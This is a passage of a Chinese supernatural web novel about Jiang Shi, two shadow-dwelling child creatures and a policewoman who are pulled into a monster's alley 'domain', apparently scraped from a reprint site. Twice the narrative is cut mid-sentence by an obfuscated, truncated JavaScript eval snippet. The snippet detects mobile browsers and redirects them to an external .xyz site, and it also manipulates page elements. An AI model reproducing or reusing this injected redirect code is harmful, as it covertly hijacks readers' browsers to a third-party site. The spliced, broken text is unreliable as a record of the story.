要是这事儿真有什么猫腻,让他去问要么被人随口一忽悠就信了,要么当场就和人家撕破脸把事情闹大,好歹认识这么多年,江时也不至于拿对方前途开玩笑。 还是等到晚上,他带上小苏和阿毛去找找看吧。 这次只是去确认下动手的是不是他先前遇到的那个异变,江时暂时并不打算动手打架,带上他俩方便撞见对方后逃跑。 嗯,应该不会打起来……吧。 “言扉,”江时想来想去还是觉得奇怪,支着下巴道,“你说吴丽和李志他们,为什么还能有完整尸体留下?” 今早发现的尸体,离家距离整整五公里,能被立刻辨认出身份说明他们至少面容是完整的,但异变怪物但凡对活人抱有杀意,紧随而来的就是难以遏制的食欲,这种情况下,受害者身上怎么可能有完整的皮肉? 但言扉显然是没法回答他的。 江时也没想他能回答,只是越想越奇怪。 狩猎人类的异变纯属喜欢吞食活人血肉,对肉质压根没要求,如果像文芜菁那样并不想杀人吃人的,除非有人贴脸挑衅,否则看都懒得看一眼。 那个异变究竟为什么没有吃掉吴丽和李志夫妻俩的尸体呢? 沉浸在自己思索中的江时并没有注意到,一直坐在他旁边盯着他看的言扉突然移开了目光看向窗外。 那里明明被窗帘遮得严实,他的视线却仿佛穿过了那层遮挡,眸中温和的笑意消失得一干二净,沉沉地看着窗外。 要开始了…… —— “你不觉得这样有点儿找死吗?”沈邱眉头微微抽搐地跟在顾蕊后面帮她一路拍照,“如果她真的是被异变抓走的,我们来现场真的不是来送菜的吗?” “怕什么,你忘了调查局的那些人说,异变只有在晚上出来,而且她也不一定是被异变抓走的。”顾蕊在平板显示的地图上又做了个标记。 三天前,顾蕊的室友出门见男友后夜不归宿,原本她们没当一回事,直到对方第二天上课不见人影,电话也打不通,她们才意识到不对。 报警后顾蕊又联想到室友是在晚上失踪的,觉得说不定也会和异变有关,就想趁白天安全就出来找找线索,沈邱照常跟着给她当帮手。 “监控上显示她就是进了这条巷子后不见的……”顾蕊喃喃自语,她用钞能力找外面的几个商户查了监控,但是这条巷子里监控年久失修坏了,看不到室友后面去了哪儿。 “顾蕊,天快黑了。”沈邱皱眉,“我们先回去吧,明天再过来查?” 可能是上次的事给沈邱留下了极深的阴影,导致他最近晚上都不敢在外面待着,生怕又碰见异变。 “马上。”顾蕊也没比他好到哪里去,她可是真的差点被掐死,大夏天的她晚上睡觉都要用被子蒙住头,生怕半夜睁眼又看到那几张腐烂狰狞的鬼脸。 让沈邱拍了最后一张照片后,两人赶紧离开了。 在两人离开的半个小时后,天色逐渐暗了下来,巷子深处无光的角落充满垂涎的声音:“好香啊……” 接着那声音诡异地笑了起来,笑声下隐约有稚嫩的童声唱起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664979|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们熟悉的儿歌。 —— “诶,怎么不见了?”到警局门口下车的时候楼月伸手一摸发现有什么不对。 “怎么了?”吴队皱眉看向她。 楼月焦急道:“我的那块护身符,一直放在口袋里,怎么不见了呢?” 那枚小巧的锦囊里装着一块淡青色的玉石,据她弟说是找了人开光的,担心她执行任务遇到危险,封建迷信另说,重在她弟的心意。 “车里也没有啊?”还没下车的何照帮她检查了遍车上的角落,“不会落在人家家里了吧?” 楼月回忆了一下,发现还真有可能。 “吴队,我回能去找找吗?”担心万一去晚了被人捡走,楼月很是着急。 吴队看眼时间后点了头,楼月就赶紧十万火急地跑了。 当她到江时家楼下时天已经蒙蒙黑了,到处找东西的楼月一抬眼,却看见江时正往小区外走,身后还跟着两个还没他腿高的小孩子。 大晚上的还走得这么快,他也不怕孩子没跟上丢了,楼月在心里吐槽了一句,忍不住多看了两眼。 孩子显然不会是江时自己的,也不可能是亲戚的孩子让他帮忙带,难道是邻居的? 但是那两个孩子看起来实在很奇怪,今天三十多度的高温,他们却还穿着严严实实的斗篷,脸上戴着的精致面具甚至连五官都没露出来…… 楼月越想越觉得疑惑,犹豫了一会儿,下意识就跟了上去。 两个小朋友只有晚上能出来玩,为了人避免太多发生意外碰掉他们的面具斗篷吓到普通人,江时忍着肉疼打了车。 到达目的地的时候已经很晚了,因为这一片城区比较偏僻,此刻街道上甚至已经没什么人了。 他们刚一下车,小苏就扯了扯江时的手,抬头看向他:“……” 意思很明显,她可以帮忙解决后面跟着的那个人。 江时伸手揉揉她的头:“不用这么凶残,人家好歹是个警察,言扉不是教过你们吗,不能随便伤害好人。” 小孩子怎么能开口闭口就是打打杀杀呢。 “找个机会把人甩掉就好了。” 就算对方是警察那也是个普通人,面对这种危险的异变的时候也就是一盘菜而已,这种找死的时候最好别让对方跟着。 江时带着两个小朋友在周围绕了好几圈,再加上小苏和阿毛暗戳戳的开挂,没一会儿成功甩掉了后面跟着的楼月。 只要目标跟丢了,她应该就会自己回去了吧? 楼月被三人绕懵了,后知后觉地反应过来,难道自己已经被发现了? 意识到这一点的她有些挫败,正想给师父汇报一下情况就回去,却听见耳边传来隐约的求救声。 “救命……救命……” 带着哭腔求救声稚嫩又细弱,似乎已经奄奄一息。 是小孩子的声音,还不止一个人! 听到求救声的楼月精神一振,立即挂断还未接通的电话,循声来到一条小巷前,谨慎地走了进去。 22. 无名巷(六) 江时带着两个小家伙到处找了好久,看了眼时间才发现居然已经凌晨一点了。 “算了,先回家吧。”江时打了个哈欠,要是再不回去,言扉又该跑出来找他了。 还没玩够的小苏和阿毛抓着江时的手指试图撒娇,被江时无情地扣住了头顶。 “想玩儿下次再说,该回家了。” 小苏“嗷”地叫了一声,两个小家伙就都钻进了影子里不见了,显然早就说好了要跑。 非常不配合。 江时:“……” 算了,他们好不容易才能出来一次,过二十分钟再去逮吧。 “呜呜……” 时间还没过去一半,江时正低头玩着手机上的单机游戏,眼看着就要成功刷新自己的纪录时,耳边突然传来一阵呜咽声。 “呜呜……”是小苏的声音。 江时循声望去,不远处原本应该是死路的地方,突然变成了可供通行的深巷,小苏的呜咽声正隐约从里面传出来。 那呜咽声似乎有种莫名的吸引力,让人控制不住地悲伤揪心,想要跟过去。 “……”并没有被影响到的江时思考了两秒,觉得自己这几天已经恢复的差不多了,浪一下问题应该不大。 “嘻嘻……”似乎是觉得江时已经上钩了,那道和小苏一模一样的哭泣声逐渐变调,仿佛许多孩童在同一时间嬉笑。 清脆稚嫩的歌声在空旷的巷子里回荡,空灵又诡异:“丢呀,丢呀,丢手绢……” 江时回头看了一眼,果不其然,刚才他进来的路已经消失不见了,后面只剩一道不知被贴了多少层小广告的老旧墙面。 墙上有些地方已经开裂,露出了里面红色的砖石。 他先是尝试能不能从周围的矮墙翻过去,但是墙体上就像是有一层禁止攀爬空气屏障,就算借助工具也没法翻墙,确认这个领域的主人真的只允许进入者走面前唯一的一条路后,江时才满意地拍掉手上的灰。 也不知道这次的游戏,他能不能活着通关呢? —— 外面又过了十多分钟,小苏和阿毛发现江时这么久都没来抓他们后,小心翼翼地又凑回了最开始的小巷里,却发现这里已经空无一人。 两个小家伙摘下面具茫然地对视一眼……哦不对,阿毛睁不开眼睛,只有小苏疑惑地眨了眨眼。 小家伙们慌乱地开始在堆着各种杂物垃圾的脏乱巷子里到处翻找不小心被他们弄丢的江时。 在阿毛掀开那被塞得满满当当还在往外滴着颜色诡异的不明液体的垃圾桶时,小苏两三步冲上来对着他的脑袋就是一下。 脏死了! 当他们正要掀开一张被老鼠钻成了豪宅的烂床垫时,听力敏锐的两个小异变发觉了外面传来急促的脚步声。 江时和言扉教过,他们不在的时候不可以被人发现! 两个小家伙立刻钻进了影子里,接着没入黑暗中不见了。 不到半分钟的功夫,几个训练有素的行动组成员就进入了巷子。 领头的是一个四十岁左右的女性,五官标致但不算很漂亮,眉宇间带着股书卷气的文雅。 不过她此时看起来心情不算很好,嘴唇冷冰冰地抿成一条线。 “组长,仪器显示就在这附近,副组长他们已经在赶来的路上了。”部下小心翼翼道。 这次的异变不仅领域的位置不固定,移动速度还极快,就算有白泽定位再加上十三组分开全市候命也基本上每次都扑空。 几天来已经有十多个人在深夜消失在巷子里,今早还有人发现了被异变杀害后还没来得及被吃掉的人类尸体,要不是“白泽”时刻监控网上情况,消息早就压不住了。 再加上先前全组失联和S大A+异变的事,据说局里这段时间对他们组长很不满。 更何况辖区内连续出现两次A级以上异变生物,这已经算是严重渎职了。 温月闭了闭眼,勉强保持住自己表面的冷静,似乎就是从三个月前她递交那份升职申请开始就不断走背运,明明十拿九稳的任务也会因为各种理由失败,少有能完成的也是意外不断,上个月甚至险些误伤普通人。 “别等了,地位发给他们,我们先进去!”作为B级异能者,她敏锐察觉到异变的气息在逐渐变弱。 好不容易赶上一次,绝对不能再跟丢! “可是温组长,副组长还没……”有人想说些什么,却被温月冷冷一眼止住。 “跟上!”温月伸手对着面前的空气狠狠一抓,杂乱的巷子中居然凭空出现了一片浅淡的雾气。 眼见雾气正在以肉眼可见的速度消散,温月带着她身后的行动组成员迅速踏入雾气中,眨眼间一群人都消失无踪…… 等到雾气彻底消散,两颗小脑袋才从阴影中钻了出来。 阿毛着急又害怕地拍拍小苏:江时不会也进去了吧? 出门的时候江时不是说今天只是出来看看,不会贸然行动的吗,怎么好像又要动手了? 小苏同样着急,江时的伤还没好,一个人进去遇到危险了怎么办。 急着急着,她突然灵机一动——对了,他们可以回家找言扉求救啊! —— “呲——”伴随着惨叫和皮肉撕裂声,上半身长满黑色长毛的怪物重重地摔在了地上一滩污水中 江时动作轻巧地避开喷涌而出的黑色液体和被溅起的污水,顺手甩了甩武器上沾的脏污。 小心地踹了两脚,确定这玩意儿已经断气了后,江时才有功夫仔细观察一下这东西。 它长着形似人类的躯体,目测高度至少超过两米,隆起得夸张的肌肉甚至比那些健美运动员还要壮硕。但长满钢针似的黑毛的上半身和过长的类似犬科动物的吻部让这东西看起来并不像人类。 虽然两边的耳朵虽然长满了毛,但看起来还是人类的形状,否则这上半身毛发旺盛再加上突出的吻部和焦黄尖锐的犬齿,看起来还真有些像电影里出现的狼人。 它的手也并不像狼人一样是利爪,反而有些像放大版的黑猩猩的手掌,在空中挥来挥去的时候甚至能像蒲扇似的带起一阵风,感觉一巴掌下去就能给人脑瓜子崩碎。 几分钟前,他沿着巷子没走多久,就发觉后面不知何时响起了另一道脚步声,对方似乎是生怕他没发觉身后跟了人,呼吸声被故意放粗,脚步声也明显又刻意。 对方越靠越近,最后江时甚至听到身后传来的呼吸声,温热腥臭的热风已经吹在了他后脑勺上。 意识到那不知道是什么反正肯定不会是人的玩意儿已经快贴他背上了,被腥臭的口气熏得后背发毛的江时就地蹲下。 后面跟着的东西停了下来,似乎是迷惑于江时居然不赶紧逃跑。 但它也没来得及疑惑多久,江时就从脚下的影子里抽出军刺反手一捅,连头都没回就准确地刺中了它的膝盖,卡在了怪物膝盖骨头之间。 吃痛的怪物暴怒地反击,张开血盆大口冲着江时脑袋就要咬下来。 江时本想先看看这东西究竟长什么样子,才特意用了言扉送他的百分百骨质模型军刺,虽然看起来和真的很像,但普通人用尽全力最多也就戳出个破皮流血的坑,还不如直接上拳头的那种。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664980|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>上次他用这玩意自己捅心脏,纯属是手边没其他更趁手的东西,加上江时也不是真的想把自己穿个串而已。 无奈对方不配合,并不理解他的好意,江时只好先送它上路。 江时戳了戳那颗既不像人也不像狼的丑陋脑袋,那双浊黄色的眼睛依旧死死瞪着他。 这玩意儿应该和文芜菁领域里的造物是同一种东西,他记得黎钺和菲菲谈话的时候是称它们为——眷属? 江时嫌弃地又用刺尖戳了那颗丑陋的脑袋一下,这异变的审美堪忧啊,眷属实在丑得令人耳目一新,人文学姐造出来的眷属的虽然晚上惊悚了点儿,但至少看起来还是像人的啊。 说起来算上上次,这还是江时第二次进入异变的领域。 他之前十多年持之以恒地找死都没见过这东西,这个月内却连续碰到两次,是他前段时间倒霉多了所以突然交上好运,还是因为这些东西变多了呢? 江时莫名想起了言扉刚醒的时候说的。 有什么大事要发生了,会死掉很多人…… 会和这件事有关吗? 杀死那个上半身满是黑毛的壮硕怪物后,江时面前原本只能供两人同行的小巷逐渐变宽,不久后就遇到了他进来后看见的第一个岔路口。 一边路上全是污水和堆积着的腐烂发臭的垃圾,墙面上也都是牛皮癣般的小广告,另一边虽然也说不上多干净,但至少能落脚。 这还需要想吗? 江时毫不犹豫选了看起来更干净的那条路。 五分钟后,他就体会到了什么叫人心险恶——就算那已经是个死人。 第八次不得不踩上一堆相对来说没那么恶心的垃圾的时候,江时的脸已经快黑成碳了。 至于为什么不回去走另一条…… 一来江时不觉得能搞出这种恶心操作的异变会好心留一条干净的路,另一个方向多半从头到尾都是堆满了垃圾的。 二来他刚才听见前面有人类,而且应该是活人的尖叫声,有可能是其他被拉进来的普通人,江时打算去确认一下人还活着吗。 江时忍着恶心一路飞奔,心里已经把这里的主人千刀万剐五马分尸的时候,终于看见了前面正在被一群黑毛怪追杀的三个人类。 这群怪物似乎并不急着杀了他们,而是像玩弄猎物似的不断消耗着他们的体力。 仔细一看,挡在最前面的那人他居然还认识。 楼月白着脸握着一根不知从哪个垃圾堆翻出来的晾衣杆,咬着牙试图挡下怪物的巴掌,护住身后的两个人。 江时无语地仰头看了看天:“……” 怎么回事,不是转了好几圈才把人甩掉了吗,她怎么还是被拉进来了?已经两次了,他是不是天生就和救人这种事犯冲? 感觉自己的好心被浪费的江时深深地叹了口气,从自己的影子里抽出最常用的撬棍。 来都来了,继续救呗,谁让他人好呢? 江时掷出撬棍将即将拍碎楼月天灵盖的黑毛怪手掌捅了个对穿,余力甚至将它钉在了身后的墙上,这一下甚至让旁边其他的黑毛怪也暂时不敢动作。 然后在三人惊诧恐惧的目光下,帅气救场的江时走到还在垂死挣扎的黑毛怪面前,伸手握住撬棍轻松一拔—— 破烂脏污的小巷里,就连墙也是粗制滥造的,砖石间的空隙用的是劣质水泥,非常巧合地将江时的撬棍以一个刁钻的角度卡在了墙里。 意识到这一点的江时动作顿了顿,再拔——还拔——用力拔——不动! 江时淡定的表情微微僵硬:“……” 某种植物。